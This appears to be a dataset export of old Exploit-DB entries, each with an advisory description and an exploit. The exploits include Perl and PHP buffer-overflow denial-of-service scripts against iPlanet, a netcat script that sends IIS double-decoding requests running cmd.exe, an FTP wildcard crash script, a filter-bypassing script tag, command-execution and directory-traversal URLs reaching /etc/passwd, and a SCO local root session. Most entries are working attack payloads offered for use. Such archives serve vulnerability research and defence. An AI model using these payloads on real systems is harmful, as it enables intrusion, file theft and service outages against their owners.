QLWD/code_shield huggingface dataset:
标题: eSafe Gateway 2.1 - Script-filtering Bypass EDB-ID: 20869 CVE: 2001-0520 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/2750/info

eSafe Gateway is a security utility used for filtering internet content.

An html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply changing the syntax of the <SCRIPT> function in such a way as to trick the filter into generating html that still includes a call to execute the script.

Note: There are currently conflicting details regarding this vulnerability. It has been reported that version 3.0 of eSafe Gateway is not vulnerable. The author of the advisory insists that versions 2.x are vulnerable, while the vendor claims that script filtering was not a feature in these versions. Forthcoming updates will be released as more information becomes available.

Details
----------------------
Let's say for example that we want the following HTML code to enter an
organization and the script it contains to be executed:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="JavaScript">
alert("hi");
</SCRIPT>
</BODY></HTML>

If we run this page through eSafe's filtering engine, the script will be
filtered and the resulting with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>

</BODY></HTML>

However, if we create the following code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT<script language="javascript"> </script> language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>

Then the inner "<script language="javascript"> </script>" will be extracted
and we will be left with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML> URL: https://www.exploit-db.com/exploits/20869
标题: Microsoft Windows Kernel - Intel x64 SYSRET (MS12-042) EDB-ID: 20861 CVE: 2012-0217 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2012-08-27 漏洞利用脚本: Source: http://packetstormsecurity.org/files/115908/sysret.rar

This is proof of concept code that demonstrates the Microsoft Windows kernel (Intel/x64) SYSRET vulnerability as described in MS12-042. The shellcode disables code signing and will grant NT SYSTEM privileges to a specified application or already running process.

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20861.rar URL: https://www.exploit-db.com/exploits/20861
标题: iPlanet 4.1 Web Publisher - Remote Buffer Overflow (1) EDB-ID: 20852 CVE: 2001-0746 类型: DOS 平台: MULTIPLE 发布日期: 2001-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2732/info

iPlanet Webserver is an http server product offered by the Sun-Netscape Alliance.

By sending a specially crafted request (composed of at least 2000 characters) it is possible to cause a buffer overflow. This could cause the termination of the affected service, requiring a restart and enabling a remote attacker to effect a denial of service attack.

If the submitted buffer is properly structured, it may yield a remote system shell.

Successful exploitation of this vulnerability could lead to a complete compromise of the host.

Note that while only installations of iWS4.1sp3-7 on Windows NT are immediately vulnerable to this attack, all users of iWS4.1sp3-7 are advised to install the NSAPI. 

#!/usr/bin/perl
use IO::Socket;
  if (@ARGV < 2)  {
     print "Usage: host port\n";
     exit;
   }
$overflow = "A" x $4022;
&connect;
sleep(15);
&connect;
exit;
################################################
sub connect() {
  $sock= IO::Socket::INET->new(Proto=>"TCP",
        PeerAddr=>$ARGV[0],
        PeerPort=>"$ARGV[1]",)
        or die "Cant connect to $ARGV[0]: $!\n";
  $sock->autoflush(1);
  print $sock "$overflow /index.html HTTP/1.0\n\n";
  $response=<$sock>;
  print "$response";
  while(<$sock>){
     print "$_\n";
  }
  close $sock;
} URL: https://www.exploit-db.com/exploits/20852
标题: SCO OpenServer 5.0.x - StartX Weak XHost Permissions EDB-ID: 20851 CVE: 2004-0390 类型: LOCAL 平台: SCO 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2731/info

OpenServer is a Unix based operating system distributed by Santa Cruz Operations.

A problem in access control of the X server could allow a local user to gain elevated privileges. When the X Window System is started via the xhost script, insufficient xhost access control allows a user to execute commands on the desktop. This can be exploited by setting the display environment variable, and using the tellxdt3 program.

This problem makes it possible for a local user to execute commands as root. 

$ pwd
/usr/lib/X11/IXI/XDesktop/bin/i3sc0322
$ DISPLAY=localhost:0
$ export DISPLAY
$ id
uid=232(kevin) gid=101(supp) groups=101(supp),50(group)
$ ./tellxdt3 /usr/bin/id
*** Can't open message catalogue XDesktop3
uid=0(root) gid=3(sys) groups=3(sys),1(other) URL: https://www.exploit-db.com/exploits/20851
标题: iPlanet 4.1 Web Publisher - Remote Buffer Overflow (2) EDB-ID: 20853 CVE: 2001-0746 类型: DOS 平台: MULTIPLE 发布日期: 2001-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2732/info
 
iPlanet Webserver is an http server product offered by the Sun-Netscape Alliance.
 
By sending a specially crafted request (composed of at least 2000 characters) it is possible to cause a buffer overflow. This could cause the termination of the affected service, requiring a restart and enabling a remote attacker to effect a denial of service attack.
 
If the submitted buffer is properly structured, it may yield a remote system shell.
 
Successful exploitation of this vulnerability could lead to a complete compromise of the host.
 
Note that while only installations of iWS4.1sp3-7 on Windows NT are immediately vulnerable to this attack, all users of iWS4.1sp3-7 are advised to install the NSAPI. 

#!/usr/local/bin/php -q
<?
/*
 * Netscape Enterprise Server 4 Method and URI overflow 
 *
 * By sending an invalid method or URI request of 4022 bytes Netscape 
 * Enterprise Server will 
 * stop responding to requests. 
 *
 * Written by Gabriel Maggiotti
 */

 if( $argc!=3)
 {
 echo "usagge: $argv[0] <host> <port>\n";
 return 1;
 }


$host=$argv[1];
$port=$argv[2];

 for($i=0;$i<4022;$i++)
  $overflow.="A";
 
$overflow.=" /index.htm HTTP/1.0\n\n";

$fp = fsockopen ($host, $port , &$errno, &$errstr, 30);
 if (!$fp) {
     echo "Couldn't create connection<br>\n";
 } else {
 fputs ($fp, $overflow);
}
fclose ($fp);

?> URL: https://www.exploit-db.com/exploits/20853
标题: Pacific Software Carello 1.2.1 Shopping Cart - Command Execution EDB-ID: 20850 CVE: 2001-0614 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/2729/info

It is possible for a remote user to execute arbitrary commands on a host using Carello Shopping Cart software. A specially crafted HTTP request could cause inetinfo.exe to consume all available system resources, refusing any new connections. If arbitrary code is part of the HTTP request, it will be executed with the privileges of the web server.

http://foo.org/scripts/Carello/Carello.dllCARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe20/c20echo20test>c:\defcom.txt URL: https://www.exploit-db.com/exploits/20850
标题: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (5) EDB-ID: 20839 CVE: 2001-0333 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2708/info
    
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
    
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
    
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
    
2. When the security check is completed, IIS decodes CGI parameters.
    
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
    
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
    
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
    
The worm Nimda(and variants) actively exploit this vulnerability.

#!/bin/sh

# Copyright 2001 by Leif Jakob <bugtraq@jakob.weite-welt.com>
#
# do not abuse this code... blah blah :)

if [ -z "$1" ] ; then
    echo "usage:"
    echo "$0 hostname"
    exit 1
fi

host="$1"

NETCAT=`which netcat`

if [ -z "$NETCAT" ] ; then
    NETCAT=`which nc`
fi

if [ -z "$NETCAT" -o ! -x "$NETCAT" ] ; then
    echo "you need netcat to make this work"
    exit 1
fi

echo "using netcat:$NETCAT"

function makeRequest
{
    host="$1"
    count=$2
    cmd="$3"
    echo -n 'GET /scripts/'
    while [ $count -gt 0 ] ; do
 echo -n '..%255c'
 count=$((count-1))
    done
    echo -n 'winnt/system32/cmd.exe?/c+'
    echo -n "$cmd"
    echo ' HTTP/1.0'
    echo "Host: $host"
    echo ''
    echo 'dummy'
}

function testHost
{
    host="$1"
    count=10 # you can't overdo it
    cmd='dir+c:\'
    makeRequest "$host" "$count" "$cmd" | netcat -w 4 $host 80
}

testHost "$host" URL: https://www.exploit-db.com/exploits/20839
标题: Apple Personal Web Sharing 1.1/1.5/1.5.5 - Remote Denial of Service EDB-ID: 20844 CVE: 2001-0649 类型: DOS 平台: OSX 发布日期: 2001-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/2715/info


Apple Personal Web Sharing is a utility that allows users to extend file-sharing abilities across a small intranet. It is shipped with MacOS 9.

A user may craft a URL which contains excess characters to cause the file-sharing system to shut down.

The file sharing system must then be restarted to regain its functionality once again.

http://fileserver/?aaaaaaaaa... [approx. 6000 characters] URL: https://www.exploit-db.com/exploits/20844
标题: Microsoft IIS 4.0/5.0 - FTP Denial of Service (MS01-026) EDB-ID: 20846 CVE: 2001-0336 类型: DOS 平台: WINDOWS 发布日期: 2000-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/2717/info

Due to a flaw in the pattern-matching function used by FTP commands, denial of service attacks can be successfully launched. If a user submits an FTP command along with a filename containing specially placed wildcard sequences, the pattern-matching function will not allocate sufficent memory. Resulting in IIS experiencing denial of service condition.

#!/usr/bin/perl
# Author:  Nelson Bunker - Critical Watch 
#     http://www.criticalwatch.com 
#
# Simple Wildcard Denial of Service for IIS Ftp Servers - MS01-026 
# Tested against several servers.  Your mileage may vary.
#
# Assumes anonymous access.
#
# Thanks goes out to Lukasz Luzar [lluzar@developers.of.pl]
# For discovering and sharing this information
#
# May 15, 2001
####################_MAIN::Begin_#####################


 use Net::FTP; 

        $wildcard='*********************************************************************************************************';

if (not $ARGV[0]) {

print qq~

       Usage: wildcard_dos.pl <host>

~;

        exit;}


        $IPaddress= $ARGV[0];


        $SIG {'PIPE'} = FoundIt;

        # create new FTP connection w/30 second timeout
        $ftp = Net::FTP->new($IPaddress, Timeout =>  5);

        if(!$ftp){ die"$IPaddress is not responding to ftp connect attempt";}

        if(!$ftp->login("anonymous","tester\@")){ die"FTP user anonymous on $IPaddress is unacceptable";}

        $bogus = $ftp->ls($wildcard);


sub FoundIt
        {
        print "This machine \($IPaddress\) is affected\n";
 exit(0);

        } URL: https://www.exploit-db.com/exploits/20846
标题: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (6) EDB-ID: 20840 CVE: 2001-0333 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2708/info
     
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
     
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
     
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
     
2. When the security check is completed, IIS decodes CGI parameters.
     
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
     
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
     
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
     
The worm Nimda(and variants) actively exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20840.tgz URL: https://www.exploit-db.com/exploits/20840
标题: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (7) EDB-ID: 20841 CVE: 2001-0333 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2708/info
      
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
      
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
      
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
      
2. When the security check is completed, IIS decodes CGI parameters.
      
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
      
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
      
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
      
The worm Nimda(and variants) actively exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20841.zip URL: https://www.exploit-db.com/exploits/20841
标题: Immunix OS 6.2/7.0 / RedHat 5.2/6.2/7.0 / SuSE Linux 6.x/7.0/7.1 - 'Man -S' Heap Overflow EDB-ID: 20843 CVE: 2001-0641 类型: LOCAL 平台: LINUX 发布日期: 2001-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2711/info

A heap overflow vulnerability exists in the 'man' system manual pager program.

The vulnerability exists due to a length check error when the -S option is given. As a result, it may be possible for a local user to execute arbitrary code with group 'man' privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20843.tar.gz URL: https://www.exploit-db.com/exploits/20843
标题: Maxum Rumpus FTP Server 1.3.2/1.3.4/2.0.3 dev - Remote Denial of Service EDB-ID: 20845 CVE: 2001-0646 类型: DOS 平台: OSX 发布日期: 2001-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2716/info

Rumpus FTP Server is an implementation for MacOS which allows file-sharing across TCP/IP connections.

It is possible to log in remotely to the server and shut down the service by making a directory with a name that is 65 characters long. Users must be authenticated to engage this attack. 

ftp host

user anonymous
pass anonymous

mkdir
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa URL: https://www.exploit-db.com/exploits/20845
标题: ElectroSoft ElectroComm 1.0/2.0 - Denial of Service EDB-ID: 20834 CVE: 2001-0563 类型: DOS 平台: WINDOWS 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2706/info

ElectroComm is a telnet-comm port server for Windows 9x/NT, allowing users to connect a PC's comm port to a TCP/IP network and login remotely using Telnet.

An attacker can execute a denial of service attack on ElectroComm by submitting two groups of approximately 160,000 characters to the target's telnet port.

This increases CPU utilization to 100%, then crashes the service, which requires a restart. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20834.zip URL: https://www.exploit-db.com/exploits/20834
标题: PHPSlash 0.5.3 2/0.6.1 - URL Block Arbitrary File Disclosure EDB-ID: 20848 CVE: 2001-1334 类型: WEBAPPS 平台: PHP 发布日期: 2001-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2724/info

PHPSlash is a widely used open source Groupware utility.

PHPSlash contains a vulnerability which may disclose files readable to the webserver process on the underlying host to PHPSlash users who can 'edit' URL blocks.

Exploitation may result in attackers gaining local access to the webserver or information which could assist in further attacks. 

Login as admin with GOD permissions
Access the BLOCKS admin section
(blockAdmin.php3) and
create a new block with the following information :

Title : notTrusted
Type : url
Site Location : whatever
Source URL : ./config.php3
Expire Length : 0
Owned by section : home
Data : (empty)
Order number : whatever

It will display the content of the config.php3 as text in
the block of the main page.

It might become an issue if blockAdmin.php3 gives
add/edit/remove permission to some users that are
not
supposed to access the filesystem. URL: https://www.exploit-db.com/exploits/20848
标题: Microsoft IIS 3.0/4.0/5.0 - PWS Escaped Characters Decoding Command Execution (8) EDB-ID: 20842 CVE: 2001-0333 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2708/info
       
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
       
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
       
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
       
2. When the security check is completed, IIS decodes CGI parameters.
       
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
       
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
       
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
       
The worm Nimda(and variants) actively exploit this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20842.tgz URL: https://www.exploit-db.com/exploits/20842
标题: Drummond Miles A1Stats 1.0 - 'a1disp2.cgi' Traversal Arbitrary File Read EDB-ID: 20831 CVE: 2001-0561 类型: REMOTE 平台: CGI 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2705/info

A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.

Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.

An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.

This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.

Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.

www.server.com/cgi-bin/a1stats/a1disp2.cgi?../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20831
标题: T. Hauck Jana Server 1.45/1.46/2.0 - MS-DOS Device Name Denial of Service EDB-ID: 20830 CVE: 2001-0558 类型: DOS 平台: WINDOWS 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2704/info

Versions of Jana Server are vulnerable to a denial of service attack.

It is possible to remotely crash a system running Jana Server by submitting a URL request which specifies an MS-DOS devicename.

A hard reboot of the exploited server will be required to restore web services. 

www.example.com/aux URL: https://www.exploit-db.com/exploits/20830
标题: Jason Rahaim MP3Mystic 1.0.x - Server Directory Traversal EDB-ID: 20826 CVE: 2001-0574 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2699/info

A vulnerability exists in Jason Rahaim's MP3Mystic Server which allows a remote user to traverse the directories of a target host. This may lead to the disclosure of file and directory contents. Arbitrary directories can be accessed through the inclusion of double dot '../' sequences when submitting a URL. 

www.example.com/../scandisk.log URL: https://www.exploit-db.com/exploits/20826
标题: Cisco Catalyst 2900 12.0 - '5.2'XU SNMP Empty UDP Packet Denial of Service EDB-ID: 20824 CVE: 2001-0566 类型: DOS 平台: HARDWARE 发布日期: 2001-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2689/info

The Catalyst series switch is a scalable, high performance layers 2 and 3 switch manufactured by Cisco Systems. The Catalyst series ranges in size, and is designed for use in organizations sized from small business to large enterprise.

A problem with the switch firmware could allow a Denial of Service to legitimate users of network resources. Upon booting the switch with SNMP disabled, the service does not handle normal requests. However, by sending an empty UDP packet to the SNMP port, the switch ceases operating.

This problem makes it possible for a remote user to deny service to legitimate users of the switch.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20824.tgz URL: https://www.exploit-db.com/exploits/20824